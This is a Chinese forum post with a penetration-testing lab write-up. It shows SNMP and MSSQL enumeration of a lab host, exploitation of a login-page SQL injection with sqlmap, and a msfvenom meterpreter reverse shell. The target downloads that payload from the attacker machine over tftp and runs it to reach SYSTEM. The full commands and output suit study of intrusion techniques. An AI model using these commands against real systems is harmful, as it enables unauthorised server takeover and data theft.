51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 1737|回复: 1
打印 上一主题 下一主题

渗透测试学习笔记之案例

[复制链接]
  • TA的每日心情
    无聊
    13 小时前
  • 签到天数: 937 天

    连续签到: 4 天

    [LV.10]测试总司令

    跳转到指定楼层
    1#
    发表于 2017-10-17 16:54:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    0x00 前言
      今天笔者来分享一个以SQL注入为突破点从而全面控制目标服务器的渗透案例。
      0x01 案例分析
      实验环境:
      目标靶机:10.11.1.128
      攻击机:Kali Linux (10.11.0.74)
      渗透过程
      按照惯例首先进行服务和端口枚举,发现了目标服务器开放了SNMP的端口161并进行了扫描,如下:
    1. # snmp-check -c public 10.11.1.128
    2.   snmp-check v1.9 - SNMP enumerator
    3.   Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
    4.   [+] Try to connect to 10.11.1.128:161 using SNMPv1 and community 'public'
    5.   [*] System information:
    6.   Host IP address               : 10.11.1.128
    7.   Hostname                      : DJ
    8.   Description                   : Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
    9.   Contact           : -
    10.     Location                      : -
    11.     Uptime snmp                   : 15:32:30.62
    12.     Uptime system                 : 497 days, 01:04:09.29
    13.     System date                   : 2017-9-17 03:16:22.0
    14.     Domain                        : WORKGROUP
    15.   [*] User accounts:
    16.     Guest               
    17.     IUSR_SRV2           
    18.     IWAM_SRV2           
    19.     Administrator      
    20.     TsInternetUser      
    21.   [*] Network information:
    22.   … …
    23.   [*] Network interfaces:
    24.   … …
    25.   [*] Network IP:
    26.     Id                    IP Address            Netmask               Broadcast           
    27.     16777219              10.11.1.128           255.255.0.0           1                  
    28.     1                     127.0.0.1             255.0.0.0             1                  
    29.   [*] Routing information:
    30.     Destination           Next hop              Mask                  Metric              
    31.     0.0.0.0               10.11.1.220           0.0.0.0               1                  
    32.     10.11.0.0             10.11.1.128           255.255.0.0           1                  
    33.     10.11.1.128           127.0.0.1             255.255.255.255       1                  
    34.     10.255.255.255        10.11.1.128           255.255.255.255       1                  
    35.     127.0.0.0             127.0.0.1             255.0.0.0             1                  
    36.     224.0.0.0             10.11.1.128           224.0.0.0             1                  
    37.     255.255.255.255       10.11.1.128           255.255.255.255       1                  
    38.   [*] TCP connections and listening ports:
    39.     Local address         Local port            Remote address        Remote port           State               
    40.     0.0.0.0               21                    0.0.0.0               18462                 listen              
    41.     0.0.0.0               25                    0.0.0.0               51204                 listen              
    42.     0.0.0.0               80                    0.0.0.0               59498                 listen              
    43.     0.0.0.0               135                   0.0.0.0               10410                 listen              
    44.     0.0.0.0               443                   0.0.0.0               18519                 listen              
    45.     0.0.0.0               445                   0.0.0.0               2240                  listen              
    46.     0.0.0.0               1025                  0.0.0.0               34838                 listen              
    47.     0.0.0.0               1027                  0.0.0.0               18446                 listen              
    48.     0.0.0.0               1029                  0.0.0.0               10327                 listen              
    49.     0.0.0.0               1033                  0.0.0.0               10427                 listen              
    50.     0.0.0.0               3372                  0.0.0.0               18462                 listen              
    51.     0.0.0.0               5800                  0.0.0.0               2240                  listen              
    52.     0.0.0.0               5900                  0.0.0.0               10324                 listen              
    53.     10.11.1.128           80                    10.11.0.72            45991                 timeWait            
    54.     10.11.1.128           80                    10.11.16.18           49258                 timeWait            
    55.     10.11.1.128           80                    10.11.16.18           49259                 timeWait            
    56.     10.11.1.128           80                    10.11.16.18           49260                 timeWait            
    57.     10.11.1.128           80                    10.11.16.18           49261                 timeWait            
    58.     10.11.1.128           80                    10.11.16.18           49262                 timeWait            
    59.     10.11.1.128           80                    10.11.16.18           49263                 timeWait            
    60.     10.11.1.128           80                    10.11.16.18           49264                 timeWait            
    61.     10.11.1.128           139                   0.0.0.0               59563                 listen              
    62.     10.11.1.128           1074                  10.11.1.229           139                   timeWait            
    63.     10.11.1.128           27900                 0.0.0.0               18494                 listen              
    64.     127.0.0.1             27900                 0.0.0.0               10298                 listen              
    65.   [*] Listening UDP ports:
    66.     Local address         Local port         
    67.     0.0.0.0               135                 
    68.     0.0.0.0               161                 
    69.     0.0.0.0               445                 
    70.     0.0.0.0               1030               
    71.     0.0.0.0               1434               
    72.     0.0.0.0               3456               
    73.     10.11.1.128           137                 
    74.     10.11.1.128           138                 
    75.     10.11.1.128           500                 
    76.   [*] Network services:
    77.    … …
    78.   [*] Storage information:
    79.   … …
    80.   [*] Software components:
    81.   … …
    82.   [*] IIS server information:
    83.   … …
    84.   [*] Share:
    85.      Name                         : share
    86.       Path                        : C:\share
    87.       Comment                     :
    88.      Name                         : wwwroot
    89.       Path                        : C:\Inetpub\wwwroot
    90.       Comment                     :
    复制代码
    接着,利用msf的auxiliary/scanner/mssql/mssql_ping模块扫描一下是否存在MSSQL服务。
    1. msf exploit(mssql_payload) > use auxiliary/scanner/mssql/mssql_ping
    2.   msf auxiliary(mssql_ping) > set RHOSTS 10.11.1.128
    3.   RHOSTS => 10.11.1.128
    4.   msf auxiliary(mssql_ping) > run
    5.   [*] 10.11.1.128:          - SQL Server information for 10.11.1.128:
    6.   [+] 10.11.1.128:          -    ServerName      = DJ
    7.   [+] 10.11.1.128:          -    InstanceName    = MSSQLSERVER
    8.   [+] 10.11.1.128:          -    IsClustered     = No
    9.   [+] 10.11.1.128:          -    Version         = 8.00.194
    10.   [+] 10.11.1.128:          -    np              = \\DJ\pipe\sql\query
    11.   [+] 10.11.1.128:          -    tcp             = 27900
    12.   [*] Scanned 1 of 1 hosts (100% complete)
    13.   [*] Auxiliary module execution completed
    14.   msf auxiliary(mssql_ping) >
    复制代码
    收集信息如下:
      ●操作系统:Windows 2000
      ●开放了HTTP服务,端口是80,并且似乎web根目录是C:\Inetpub\wwwroot
      ●开放了FTP服务,端口是21
      ●开放了SMTP服务,端口是25
      ●开放了MSSQL服务,端口是27900
      测试HTTP服务发现了一个POST类型的SQL注入漏洞,如下:

    利用SQLMAP进一步检测一下这个SQL注入漏洞。
    1. # sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --dbs --current-user --is-dba --current-db --batch
    2.           ___
    3.          __H__
    4.    ___ ___[']_____ ___ ___  {1.1.6#stable}
    5.   |_ -| . [']     | .'| . |
    6.   |___|_  ["]_|_|_|__,|  _|
    7.         |_|V          |_|   http://sqlmap.org
    8.   [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9.   [*] starting at 18:40:12
    10.   [18:40:12] [INFO] resuming back-end DBMS 'microsoft sql server'
    11.   [18:40:12] [INFO] testing connection to the target URL
    12.   [18:40:12] [INFO] heuristics detected web page charset 'ascii'
    13.   sqlmap resumed the following injection point(s) from stored session:
    14.   ---
    15.   Parameter: txtLoginID (POST)
    16.       Type: stacked queries
    17.       Title: Microsoft SQL Server/Sybase stacked queries (comment)
    18.       Payload: txtLoginID=amdin';WAITFOR DELAY '0:0:5'--&txtPassword=1&cmdSubmit=Login
    19.   ---
    20.   [18:40:12] [INFO] the back-end DBMS is Microsoft SQL Server
    21.   web server operating system: Windows 2000
    22.   web application technology: ASP, Microsoft IIS 5.0
    23.   back-end DBMS: Microsoft SQL Server 2000
    24.   current user:    'sa'
    25.   current database:    'bankdb'
    26.   [18:40:12] [INFO] testing if current user is DBA
    27.   current user is DBA:    True
    28.   [*] bankdb
    29.   [*] master
    30.   [*] model
    31.   [*] msdb
    32.   [*] tempdb
    33.   [18:40:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.11.1.128'
    34.   [*] shutting down at 18:40:12
    复制代码
    发现如下的信息:
      ●web服务器是Windows 2000
      ●web应用是Microsoft IIS5.0
      ●后台的数据库系统是MSSQL 2000
      ●SQL注入类型是POST类型的Stacked Queries with POST method , 意味着我们可以执行堆叠查询
      ●当前的数据库用户是sa,并且是DBA权限,意味着我们应该可以在目标服务器上获得管理员权限
      与此同时,通过检测发现目标服务器上安装了tftp。
      首先,生成meterpreter反弹shell并上传至Kali的tftp服务器的目录里:
      # msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.74 LPORT=4444 -f exe -o rshell.exe
      接着,通过SQL注入在目标机器上下载payload至目标服务器的目录c:\inetpub\wwwroot\:
    1. #sqlmap-u"http://10.11.1.128/login-off.asp"--data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login"--os-cmd='cdc:\inetpub\wwwroot\&&tftp-i10.11.0.74getrshell.exe'--tamper=space2mssqlblank.py
    复制代码
    然后,执行payload从而获得反弹shell:
    1. # sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='c:\inetpub\wwwroot\rshell.exe' --tamper=space2mssqlblank.py
    复制代码
    最后,成功地获得了一个SYSTEM权限的meterpreter反弹shell:

    0x02 小结
      总结一下本案例的渗透思路如下:
      1.通过nmap对目标服务器进行服务和端口的枚举
      2.扫描snmp服务和mssql服务并收集服务器信息
      3.检测http服务并发现SQL注入漏洞
      4.通过SQL注入来下载并执行payload
      5.最终获得反弹shell从而完全控制服务器




    分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
    收藏收藏
    回复

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-4-25 22:23 , Processed in 0.068609 second(s), 22 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表